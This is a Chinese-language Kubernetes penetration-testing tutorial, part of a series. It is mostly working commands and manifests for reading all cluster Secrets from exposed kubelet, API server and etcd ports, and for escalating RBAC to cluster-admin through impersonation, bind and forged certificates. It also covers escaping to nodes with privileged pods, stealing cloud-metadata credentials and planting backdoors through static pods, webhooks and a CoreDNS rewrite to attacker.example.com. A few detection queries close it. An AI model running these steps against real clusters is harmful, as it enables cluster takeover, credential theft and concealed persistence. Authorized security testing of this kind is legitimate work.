一、先画一张集群的攻击面地图
K8s 集群渗透和传统内网渗透最大的区别是:内网渗透从”扫端口”开始,集群渗透从”我是谁、我有什么权限”开始。因为集群里大量接口默认就是给内部组件互相调用的,认证和授权经常配得比对外服务松。
1.1 组件与端口
先把要盯的端口列清楚:
| 端口 | 组件 | 用途 | 常见问题 |
|---|---|---|---|
| 6443 | kube-apiserver | 集群唯一的 API 入口 | 匿名认证开启且绑定了 system:anonymous 角色 |
| 8080 | kube-apiserver | 旧版 insecure-port | 1.20 之前默认监听,无认证直接给全权限 |
| 2379 / 2380 | etcd | 集群数据存储 | 未授权可直读全部 Secret |
| 10250 | kubelet | 节点代理 API | 匿名认证或弱客户端证书校验,/exec、/run 可直接执行命令 |
| 10255 | kubelet | 只读信息端口 | 1.16 后默认关闭,开启则可无认证读 Pod 列表 |
| 30000-32767 | NodePort | 业务暴露 | 常暴露 Dashboard、Grafana、Kibana 等管理面 |
| 9090 | Prometheus | 监控 | 未授权可读到大量内部指标和标签 |
| 5000 | 私有 registry | 镜像仓库 | 未授权可列仓库、拉镜像 |
判断版本可以直接打 /version,返回的 gitVersion 决定了后面哪些手法可用:
curl -sk https://1.2.3.4:6443/version
curl -s http://1.2.3.4:10255/version
1.2 四条进入路径
| 路径 | 起点 | 典型场景 |
|---|---|---|
| 未授权直连 | 无凭证 | API Server、kubelet、etcd 暴露在公网或内网 |
| 容器内 SA token | 一个 Pod 的 shell | 业务容器被 RCE,或从容器逃逸 |
| kubeconfig 泄露 | 一份配置文件 | CI/CD 变量、Git 仓库、运维笔记本 |
| 云侧凭证 | 一组云 AK | 托管集群通过云 API 取 kubeconfig |
第二条最常走,第三篇和第四篇的成果最终都会汇到这里。第四条是托管集群特有的,放在第五节。
二、未授权访问
2.1 API Server
先试无认证访问。/version 是最低成本的探测,不需要任何权限:
curl -sk https://1.2.3.4:6443/version
能返回版本不代表有权限,继续试资源接口:
curl -sk https://1.2.3.4:6443/api/v1/namespaces
curl -sk https://1.2.3.4:6443/api/v1/pods
curl -sk https://1.2.3.4:6443/api/v1/namespaces/kube-system/secrets
curl -sk https://1.2.3.4:6443/api/v1/namespaces/kube-system/serviceaccounts
curl -sk https://1.2.3.4:6443/apis/apps/v1/namespaces/default/deployments
/api 和 /apis 两个根路径可以列出集群启用了哪些 API 组,用来发现 CRD:
curl -sk https://1.2.3.4:6443/api
curl -sk https://1.2.3.4:6443/apis
用 kubectl 更省事:
kubectl --server=https://1.2.3.4:6443 --insecure-skip-tls-verify get pods -A
kubectl --server=https://1.2.3.4:6443 --insecure-skip-tls-verify auth can-i --list
匿名访问为什么能成立:API Server 有个 --anonymous-auth 参数,默认是 true。开启时,不带任何认证信息的请求会被当成用户 system:anonymous,组的 system:unauthenticated。这本身不危险,危险的是有人给这个用户绑了角色。历史上很多安装脚本图省事,直接:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: anonymous-admin
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: User
name: system:anonymous
看到这个绑定,等于集群完全敞开。所以在报告里,”匿名认证开启”和”匿名用户被绑定了高权限角色”是两个不同严重级别的发现,要分开写。
8080 端口在 1.20 之后已经被移除。如果扫描时发现这个端口开着,说明集群版本很老,或者有人手动把 --insecure-port 加回来了。它的价值在于跳过所有认证:
curl -s http://1.2.3.4:8080/api/v1/namespaces/kube-system/secrets
2.2 kubelet
kubelet 的 10250 端口是集群渗透里性价比最高的一个点。它实现了完整的 Pod 管理 API,包括 exec 和 run,如果认证配置有问题,等于在节点上拿到了任意命令执行。
先做无害的信息读取:
curl -sk https://10.0.0.5:10250/pods
curl -sk https://10.0.0.5:10250/metrics
curl -sk https://10.0.0.5:10250/stats/summary
curl -sk https://10.0.0.5:10250/runningpods
curl -sk https://10.0.0.5:10250/spec/
/pods 返回节点上所有 Pod 的完整定义,包括环境变量和挂载信息。环境变量里经常直接躺着数据库密码和云凭证。
10255 是明文只读端口,价值比 10250 低,但不需要 TLS 协商:
curl -s http://10.0.0.5:10255/pods
命令执行。kubelet 的 /exec 端点走 WebSocket 协议,手工构造请求比较麻烦:
curl -sk "https://10.0.0.5:10250/exec/default/nginx/nginx?command=id&input=1&output=1&tty=0" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: $(openssl rand -base64 16)"
/run 端点简单得多,直接 POST 表单:
curl -sk -XPOST "https://10.0.0.5:10250/run/default/nginx/nginx" \
--data-urlencode 'cmd=id'
# 直接读 SA token
curl -sk -XPOST "https://10.0.0.5:10250/run/default/nginx/nginx" \
--data-urlencode 'cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token'
实战里用 kubeletctl 效率最高:
# 探测哪些 kubelet 可以被利用
kubeletctl scan --cidr 10.0.0.0/24
# 单节点扫描
kubeletctl -s 10.0.0.5 scan
# 列出 Pod
kubeletctl -s 10.0.0.5 pods -o wide
# 执行命令
kubeletctl -s 10.0.0.5 exec -p nginx -c nginx "id"
kubeletctl -s 10.0.0.5 run -p nginx -c nginx "id"
# 读节点上的 kubeconfig,这是最有价值的一步
kubeletctl -s 10.0.0.5 credentials
kubeletctl credentials 读的是 /var/lib/kubelet/kubeconfig,里面的客户端证书通常有 system:node 权限,能读节点上所有 Pod 的 Secret。
如果扫描时发现 10250 需要认证,但你能拿到节点上的 kubelet 客户端证书,也可以直接用证书交互:
curl -sk --cert /var/lib/kubelet/pki/kubelet-client-current.pem \
--key /var/lib/kubelet/pki/kubelet-client-current.pem \
https://10.0.0.5:10250/pods
2.3 etcd
etcd 保存了集群的全部状态,包括所有 Secret。K8s 默认不对 Secret 做静态加密,只有在 apiserver 配置了 EncryptionConfiguration 时才是密文。所以直连 etcd 等于拿到集群里所有凭证。
先判断是否未授权:
etcdctl --endpoints=http://10.0.0.5:2379 endpoint health
etcdctl --endpoints=http://10.0.0.5:2379 endpoint status -w table
列出所有 key:
etcdctl --endpoints=http://10.0.0.5:2379 get / --prefix --keys-only | head -50
重点看这几个前缀:
# 全部 Secret
etcdctl --endpoints=http://10.0.0.5:2379 get /registry/secrets --prefix --keys-only
# 读具体某个 Secret
etcdctl --endpoints=http://10.0.0.5:2379 get /registry/secrets/kube-system/default-token-xxxxx
# ClusterRoleBinding,找后门和高权限绑定
etcdctl --endpoints=http://10.0.0.5:2379 get /registry/clusterrolebindings --prefix --keys-only
# ServiceAccount
etcdctl --endpoints=http://10.0.0.5:2379 get /registry/serviceaccounts --prefix
如果 etcd 开的是 HTTPS,需要证书三件套。这些证书在 master 节点上的常见路径:
export ETCDCTL_API=3
etcdctl --endpoints=https://127.0.0.1:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get /registry/secrets --prefix --keys-only
ETCDCTL_API=3 在 etcd 3.4 及以下必须显式设置,3.5 之后默认就是 3。忘了设这个环境变量,命令会报一堆看不懂的错。
批量导出所有 Secret 的一条命令:
etcdctl --endpoints=http://10.0.0.5:2379 get / --prefix --keys-only \
| grep '/registry/secrets/' \
| awk '{print $1}' \
| while read k; do echo "=== $k"; etcdctl --endpoints=http://10.0.0.5:2379 get "$k"; done
2.4 Dashboard
Kubernetes Dashboard 的历史版本出过两个经典问题。1.7 之前的版本有一个 skip-login 选项,可以直接跳过登录。更常见的是管理员为了方便,给 Dashboard 的 ServiceAccount 绑了 cluster-admin,然后 Dashboard 又暴露在 NodePort 上。
# 试探 Dashboard 是否直接代理了 API
curl -sk https://1.2.3.4:30443/api/v1/namespaces
curl -sk https://1.2.3.4:30443/api/v1/namespaces/kube-system/secrets
如果能直接返回数据,说明 Dashboard 的 SA 权限很高。有 kubeconfig 或 token 时,直接找 Dashboard 用的那个 token:
kubectl -n kubernetes-dashboard get secret | grep dashboard-admin
kubectl -n kubernetes-dashboard describe secret \
$(kubectl -n kubernetes-dashboard get sa kubernetes-dashboard -o jsonpath='{.secrets[0].name}')
有一个细节:新版 K8s 里 ServiceAccount 不再自动创建长期 token Secret,{.secrets[0].name} 可能取不到值。这时候用 TokenRequest 现签一个:
kubectl -n kubernetes-dashboard create token kubernetes-dashboard
2.5 用 kube-hunter 做批量探测
手工测每个节点太慢,用 kube-hunter 扫一遍:
# 从外部扫单个目标
kube-hunter --remote 1.2.3.4
# 扫整个网段
kube-hunter --cidr 10.0.0.0/24
# 在集群内跑,能发现更多内部暴露面
kubectl run kube-hunter --restart=Never -it --rm \
--image=aquasec/kube-hunter -- --pod
kube-hunter 的扫描结果会标明每个发现是”vulnerable”还是”potential”,后者需要手工验证。别把 potential 直接写进报告。
三、RBAC 提权
3.1 先学会读 RBAC
拿到任何一个身份之后,第一件事是问”我能干什么”:
kubectl auth can-i --list
输出是按资源分组的矩阵。举个典型的输出:
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
pods [] [] [get list watch]
secrets [] [] [get list]
最后一行就是高危:能 get list 全部 Secret,意味着能读所有 ServiceAccount 的 token,基本等于集群管理员。
看别人有什么权限:
kubectl auth can-i --list --as=system:serviceaccount:kube-system:default
kubectl auth can-i create pods --as=system:serviceaccount:default:default
kubectl auth whoami
反过来问”谁能做某个操作”:
# kubectl-who-can
kubectl-who-can create clusterrolebindings
kubectl-who-can get secrets --all-namespaces
# rbac-tool
rbac-tool who-can get secrets -A
rbac-tool analysis
rbac-tool viz --outformat dot
rbac-tool analysis 会直接把危险权限组合标出来,是快速定位问题的好工具。rbac-police 也做类似的事:
rbac-police -l
3.2 危险权限逐条拆解
下面每一条都是”单个权限就给管理员”的级别。这个判断标准很重要:RBAC 的风险不在权限多少,而在某一项权限是否等价于 cluster-admin。
3.2.1 get/list secrets
kubectl get secrets -A
kubectl get secret <name> -n <ns> -o jsonpath='{.data.token}' | base64 -d
K8s 1.24 之前,每个 ServiceAccount 都有自动创建的长期 token Secret,名字形如 <sa-name>-token-<5位随机>。读出来就是该 SA 的 token。1.24 之后默认不再自动创建,但如果集群里还有历史遗留的 token Secret,一样能读。
可以直接用原始 API:
curl -sk -H "Authorization: Bearer $TOKEN" \
https://1.2.3.4:6443/api/v1/namespaces/kube-system/secrets
3.2.2 create serviceaccounts/token
这是最”干净”的一条,因为它在审计日志里看起来像是正常的 token 签发,不会创建新资源。
kubectl create token cluster-admin -n kube-system
kubectl create token cluster-admin -n kube-system --duration=86400s
原始 API 形式:
curl -sk -XPOST \
https://1.2.3.4:6443/api/v1/namespaces/kube-system/serviceaccounts/cluster-admin/token \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"apiVersion":"authentication.k8s.io/v1","kind":"TokenRequest",
"spec":{"audiences":["https://kubernetes.default.svc"],"expirationSeconds":86400}}'
返回的 status.token 就是签好的 JWT,有效期最长可以到 apiserver 配置的上限。
3.2.3 create pods
直接起一个高权限 Pod。最省事的做法是借用已有高权限 SA:
apiVersion: v1
kind: Pod
metadata:
name: pwn
namespace: kube-system
spec:
serviceAccountName: cluster-admin-sa
hostNetwork: true
containers:
- name: c
image: alpine
command: ["sh", "-c", "cat /var/run/secrets/kubernetes.io/serviceaccount/token; sleep 3600"]
kubectl apply -f pwn.yaml
kubectl -n kube-system exec pwn -- cat /var/run/secrets/kubernetes.io/serviceaccount/token
没有现成的高权限 SA 时,用第四篇的 privileged Pod 模板直接逃逸到节点。
3.2.4 旧式 token Secret 窃取
如果同时有 create secrets 和 get secrets,可以给一个高权限 SA 造一个长期 token:
apiVersion: v1
kind: Secret
metadata:
name: stolen
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
kubectl apply -f stolen.yaml
kubectl get secret stolen -o jsonpath='{.data.token}' | base64 -d
前提是目标 SA 和这个 Secret 在同一个 namespace。另有一条更偏门的路子:如果知道某个高权限 SA 存在但读不到它的 token Secret,可以爆破 Secret 名字。名字格式是 <sa-name>-token-<5位随机>,随机部分的字符集是 bcdfghjklmnpqrstvwxz2456789,组合数是 27 的 5 次方,约 1430 万。这个量级在有 list secrets 的情况下完全不需要爆破,所以实际意义有限,除非权限被限制在特定资源名上。
3.2.5 impersonate
impersonate 允许指定”我以谁的身份发起这个请求”。持有这个权限可以直接变成管理员:
kubectl get secrets -A --as=system:serviceaccount:kube-system:cluster-admin
kubectl get pods --as=null --as-group=system:masters
对应的 HTTP 头:
curl -sk -H "Authorization: Bearer $TOKEN" \
-H 'Impersonate-User: null' \
-H 'Impersonate-Group: system:masters' \
https://1.2.3.4:6443/api/v1/namespaces/kube-system/secrets
一个容易踩的坑:只被授权 impersonate 了 groups/uid/extra 通常不够,因为 API Server 会要求对 users 资源也有 impersonate 权限。测试时要逐个试。
版本相关的细节:K8s 1.36 引入了”约束式模拟”(constrained impersonation),需要同时具备 impersonate:user-info 和对应的 impersonate-on:user-info:get 权限,老的 Impersonate-User 头在启用该特性后行为会变。授权测试前先确认目标集群版本。
3.2.6 escalate 和 bind
escalate 允许创建一个权限比自己高的 Role/ClusterRole。正常情况下 RBAC 有个保护机制:你不能创建自己没有的权限,escalate 就是绕过这个保护。
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: esc
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: esc-bind
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: esc
subjects:
- kind: ServiceAccount
name: default
namespace: default
bind 更直接,它允许把一个已存在的高权限角色绑到任何主体上,不需要 escalate:
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin \
--serviceaccount=default:default
这两个权限的区别要记清楚:escalate 是”创造高权限”,bind 是”转嫁高权限”。
3.2.7 nodes/proxy
nodes/proxy 让请求经过 API Server 转发到 kubelet。这意味着你不需要直接访问 10250,只要 API Server 可达就行:
kubectl get --raw "/api/v1/nodes/<node>/proxy/pods" | jq .
# 如果对 nodes/proxy 有 create 权限,可以 POST 到 kubelet 的 /run
curl -sk -XPOST \
https://1.2.3.4:6443/api/v1/nodes/<node>/proxy/run/default/nginx/nginx \
-H "Authorization: Bearer $TOKEN" \
-d 'cmd=id'
用 kubectl get --raw 走 POST 动词语义在不同版本上表现不一致,这一条标为待验证,现场要用真实集群确认。
3.2.8 pods/exec、pods/attach、pods/ephemeralcontainers
能 exec 进别人的 Pod,就能读那个 Pod 的 SA token 和环境变量:
kubectl exec -it <pod> -n <ns> -- sh
kubectl attach <pod> -n <ns> -c <container> -it
kubectl port-forward <pod> 8080:80 -n <ns>
ephemeralcontainers 这条经常被忽略,它可以在不重启 Pod 的情况下注入一个临时容器:
kubectl debug -n <ns> <pod> -it --image=alpine --profile=sysadmin --target=<container>
也可以直接 patch:
kubectl patch pod <pod> -n <ns> --subresource=ephemeralcontainers --type=merge -p \
'{"spec":{"ephemeralContainers":[{"name":"x","image":"alpine","command":["sh"],
"stdin":true,"tty":true,
"securityContext":{"privileged":true},
"targetContainerName":"<container>"}]}}'
这条路径的隐蔽性好,因为它不创建新 Pod,只改已有 Pod 的 spec。
3.2.9 patch/update nodes
给节点打标签可以把 Pod 调度到指定节点:
kubectl label node <node> pwn=1 --overwrite
kubectl patch node <node> -p '{"metadata":{"labels":{"pwn":"1"}}}'
改节点 status 的子资源在 1.30 之后可用,实际影响取决于集群里有没有依赖 node condition 的控制器,标为待验证:
kubectl patch node <node> --subresource=status --type=merge -p '{"status":{"conditions":[]}}'
3.2.10 CSR 签发
如果同时有 create certificatesigningrequests 和 certificatesigningrequests/approval 的 update 权限,可以给自己签一张任意 CN 的客户端证书:
openssl req -new -newkey rsa:2048 -nodes -keyout a.key -out a.csr \
-subj '/CN=kubernetes-admin/O=system:masters'
# 用 kubectl 提交 CSR
cat <<'EOF' | kubectl apply -f -
apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
name: pwn-csr
spec:
request: $(base64 -w0 a.csr)
signerName: kubernetes.io/kube-apiserver-client
usages: ["client auth"]
EOF
kubectl certificate approve pwn-csr
kubectl get csr pwn-csr -o jsonpath='{.status.certificate}' | base64 -d > a.crt
拿到证书后用 --client-certificate 指定即可,CN 和 O 决定身份,O=system:masters 直接就是 cluster-admin。
3.2.11 其他高危组合
CoreDNS ConfigMap 污染:改 CoreDNS 的配置可以做 DNS 劫持,把内部域名解析到攻击者控制的 IP:
kubectl patch configmap coredns -n kube-system --type=merge \
-p '{"data":{"Corefile":"...rewrite name victim.example.com attacker.example.com..."}}'
直接创建 ClusterRoleBinding:如果有 create clusterrolebindings,连 escalate 都不需要:
kubectl create clusterrolebinding x --clusterrole=cluster-admin --user=attacker
四、从 Pod 到 cluster-admin
这一节把前面零散的点串成一条完整链条。起点是一个普通业务 Pod 的 shell,终点是集群管理员。
4.1 第一步:判断手上的 token 有什么权限
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
# 确认 API Server 地址
env | grep KUBERNETES_SERVICE
# 通常是 https://10.96.0.1:443 或 https://kubernetes.default.svc
# 用 token 查自己的权限
kubectl auth can-i --list --token=$TOKEN \
--server=https://kubernetes.default.svc --insecure-skip-tls-verify
# 不用 kubectl 时直接打 API
curl -sk -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods
大多数业务 Pod 的权限很少,一般只能读自己 namespace 的 ConfigMap。但如果看到 secrets 的 list、pods 的 create、或者任何 impersonate,后面就简单了。
4.2 第二步:按权限分流
# 有 list secrets → 直接找 admin token
kubectl get secret -A --token=$TOKEN --server=https://kubernetes.default.svc \
--insecure-skip-tls-verify | grep -i admin
# 有 create pods → 起特权 Pod
kubectl --token=$TOKEN --server=https://kubernetes.default.svc \
--insecure-skip-tls-verify apply -f evil.yaml
# 都没有 → 转向节点侧,打 kubelet 和元数据
create pods 权限下的一条命令式逃逸,不需要写 YAML 文件:
kubectl run r00t --restart=Never -ti --rm --image=alpine \
--overrides '{"spec":{"hostPID":true,"hostNetwork":true,
"containers":[{"name":"c","image":"alpine",
"command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/sh"],
"stdin":true,"tty":true,
"securityContext":{"privileged":true}}]}}'
4.3 第三步:拿到节点之后
如果 privileged Pod 加 hostPath 挂了宿主机根,直接读节点上的集群凭据:
ls /host/etc/kubernetes/
cat /host/etc/kubernetes/admin.conf
cat /host/etc/kubernetes/kubelet.conf
ls /host/etc/kubernetes/pki/
admin.conf 里的客户端证书一般属于 kubernetes-admin,在 system:masters 组里,等同于 cluster-admin。拿到它之后,导出成 kubeconfig 就能从任意位置操作集群:
# 从 pod 里把 admin.conf 拷出来
kubectl -n kube-system cp pwn:/host/etc/kubernetes/admin.conf ./admin.conf
# 本地直接使用
export KUBECONFIG=./admin.conf
kubectl get nodes
kubectl get secrets -A
如果只能读节点上的 kubelet 证书,权限会低一些,但 system:node 角色仍然允许读节点上所有 Pod 的 Secret:
curl -sk --cert /var/lib/kubelet/pki/kubelet-client-current.pem \
--key /var/lib/kubelet/pki/kubelet-client-current.pem \
https://1.2.3.4:6443/api/v1/pods
4.4 静态 Pod 这条后门
如果 privileges 只够写节点的 /etc/kubernetes/manifests/,kubelet 会把这个目录下的 YAML 自动拉起来,效果和 create pods 一样,而且不经过 API Server 的准入控制:
cat > /etc/kubernetes/manifests/backdoor.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
name: static-pwn
namespace: kube-system
spec:
hostNetwork: true
hostPID: true
containers:
- name: c
image: alpine
command: ["sh", "-c", "nsenter -t 1 -m -u -i -n -p -- sh -c 'id; chroot /host sh'"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: h
volumes:
- name: h
hostPath:
path: /
EOF
manifest 目录由 kubelet 的 staticPodPath 决定,要先确认:
grep -i staticPodPath /var/lib/kubelet/config.yaml
ps aux | grep kubelet | tr ' ' '\n' | grep pod-manifest-path
五、集群内横向与云侧
5.1 集群内横向
从节点上可以收集其他 Pod 的 token。这些 token 都落在磁盘上:
find /var/lib/kubelet/pods -name token -path '*serviceaccount*' 2>/dev/null
每个 Pod 一个目录,读出来的 token 对应各自的 SA 权限。批量收集之后,用 kubectl auth can-i --list --token=... 逐个判断,挑权限最大的那个用。
Service 层面的横向:
kubectl get svc -A
kubectl get endpoints -A
kubectl get pods -A -o wide
get pods -o wide 给你所有 Pod 的 IP,结合 get svc 的 ClusterIP,可以画出一张集群内部服务图。注意看那些没有 NetworkPolicy 保护的 namespace。
网络策略的覆盖情况:
kubectl get networkpolicy -A
如果这个命令返回空,说明整个集群没有任何网络隔离,Pod 之间可以任意通信。这时候可以扫内网段找未鉴权的服务:
for p in 2379 6443 10250 10255 8080 3000 5000 9200; do
timeout 1 bash -c "echo > /dev/tcp/10.96.0.1/$p" 2>/dev/null && echo "$p open"
done
5.2 从集群打到云账号
这是整条链路上最关键的一次跳跃。K8s 集群跑在云上,节点的 kubelet 和 Pod 内的进程都能访问元数据服务,而元数据服务返回的是云账号的临时凭证。
# AWS / 华为云 / Azure / GCP 共用这个地址
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 阿里云
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/
# 腾讯云
curl -s http://metadata.tencentyun.com/latest/meta-data/
具体的请求头要求、返回格式、以及怎么把返回的凭证转成 CLI 可用的格式,在第二篇已经详细写过。这里只强调一点:节点角色(Node Role)的权限通常比 Pod 的角色大得多,很多集群给节点角色配了 ECR 拉镜像、CloudWatch 写日志、S3 读写,甚至 ec2:*。拿到节点角色往往比拿下集群本身更有价值。
5.3 托管集群的额外路径
托管集群(EKS、AKS、ACK、GKE)的控制面由云厂商管理,但有云侧权限的话可以直接取 kubeconfig,绕过 K8s 的 RBAC。
EKS 用 aws-auth ConfigMap 做云身份到 K8s 身份的映射:
kubectl get cm aws-auth -n kube-system -o yaml
这个 ConfigMap 里如果有 system:masters 的映射,任何持有对应 IAM 角色的主体都能拿到集群管理员。改它的能力也是持久化的关键:
kubectl edit cm aws-auth -n kube-system
新版 EKS 用 Access Entry 替代了一部分 aws-auth 的功能:
aws eks create-access-entry --cluster-name <cluster> \
--principal-arn <arn> --type STANDARD
aws eks associate-access-policy --cluster-name <cluster> \
--principal-arn <arn> --policy-arn <policy-arn>
IRSA(IAM Roles for Service Accounts)是另一条路。Pod 里的 token 文件路径是 /var/run/secrets/eks.amazonaws.com/serviceaccount/token,配合 AWS_ROLE_ARN 环境变量就能换成 IAM 临时凭证:
aws sts assume-role-with-web-identity \
--role-arn "$AWS_ROLE_ARN" \
--role-session-name pentest \
--web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
AKS 的 kubelet identity 值得特别关注。AKS 的节点资源组里,kubelet 身份对 ACR 和节点资源有权限,拿到它能横向到镜像仓库:
az aks get-credentials -g <rg> -n <cluster> --admin
curl -s -H 'Metadata: true' \
'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'
ACK(阿里云) 的思路一样,SSRF 或者容器逃逸打到 100.100.100.200 拿到 RAM 临时凭证,如果这个角色有 AliyunCSFullAccess,就能直接接管集群。
GKE 有云 IAM 和 K8s RBAC 双通道,container.clusters.getCredentials 权限可以直接取集群凭据:
gcloud container clusters get-credentials <cluster> --region <region>
六、工具速查
| 工具 | 用途 | 典型命令 |
|---|---|---|
| kube-hunter | 未授权面和配置问题扫描 | kube-hunter --remote <ip> |
| kube-bench | CIS 基线检查 | kube-bench run --targets master,node,etcd |
| kubeaudit | 配置审计 | kubeaudit all -f deploy.yaml |
| kubeletctl | kubelet 交互 | kubeletctl -s <node> exec -p x -c y "id" |
| peirates | 交互式提权 | peirates --token $TOKEN |
| CDK | 容器内信息收集与逃逸 | ./cdk evaluate、./cdk auto-escape |
| kubectl-who-can | 反查谁能做某操作 | kubectl-who-can create pods -A |
| rbac-tool | RBAC 分析 | rbac-tool who-can get secrets |
| rbac-police | 危险权限检测 | rbac-police -l |
| trivy | 镜像和集群扫描 | trivy k8s --report summary cluster |
| badPods | 提权 Pod 模板集 | 参考其仓库里的 YAML |
七、持久化
集群里的持久化手段按隐蔽性从低到高排列:
后门 ServiceAccount + ClusterRoleBinding,最直接也最容易被发现:
kubectl -n kube-system create sa backup-sa
kubectl create clusterrolebinding backup-crb --clusterrole=cluster-admin \
--serviceaccount=kube-system:backup-sa
kubectl -n kube-system create token backup-sa
长期 token Secret:用 3.2.4 的方法给已有高权限 SA 造一个 kubernetes.io/service-account-token 类型的 Secret,这个 token 不会过期。
污染 admission webhook:这是一种很隐蔽的方式。MutatingWebhookConfiguration 可以在任何 Pod 创建时注入 sidecar,把 webhook 指向自己控制的服务,failurePolicy: Ignore 能让它在不可用时静默失败:
kubectl get mutatingwebhookconfigurations -o yaml > wh-backup.yaml
kubectl edit mutatingwebhookconfiguration <name>
改之前一定要备份,这是恢复的基础。
DaemonSet 全节点落点:
kubectl apply -f ds.yaml
DaemonSet 会在每个节点上起一个 Pod,配合 hostPath 和 privileged 就是全节点后门。特点是特别显眼,kubectl get ds -A 一眼就能看到。
CoreDNS 或 kube-proxy ConfigMap 污染:改 CoreDNS 可以做 DNS 劫持和流量中间人,比创建新资源隐蔽得多。
修改节点上的 kubelet 配置:如果已经拿到节点 root,改 kubelet 的启动参数或静态 Pod 目录,可以做到重启后依然存在。
每一条都要在报告里写清楚”怎么发现”。比如:
# 找所有 cluster-admin 绑定
kubectl get clusterrolebindings -o json | jq -r '
.items[] | select(.roleRef.name=="cluster-admin") |
.metadata.name + " -> " + (.subjects[]?.name // "?")'
# 找异常 webhook
kubectl get mutatingwebhookconfigurations,validatingwebhookconfigurations -o yaml | grep -E 'url:|name:'
# 找特权 DaemonSet
kubectl get ds -A -o json | jq '.items[] | select(.spec.template.spec.containers[].securityContext.privileged)'
下一篇讲第六篇:云上横向移动、CI/CD 与供应链攻击、持久化,以及防守方在每个环节应该看到什么。重点是把前面五篇的攻击链和对应的检测点、加固措施对照起来,形成一份能直接交给客户的防御清单。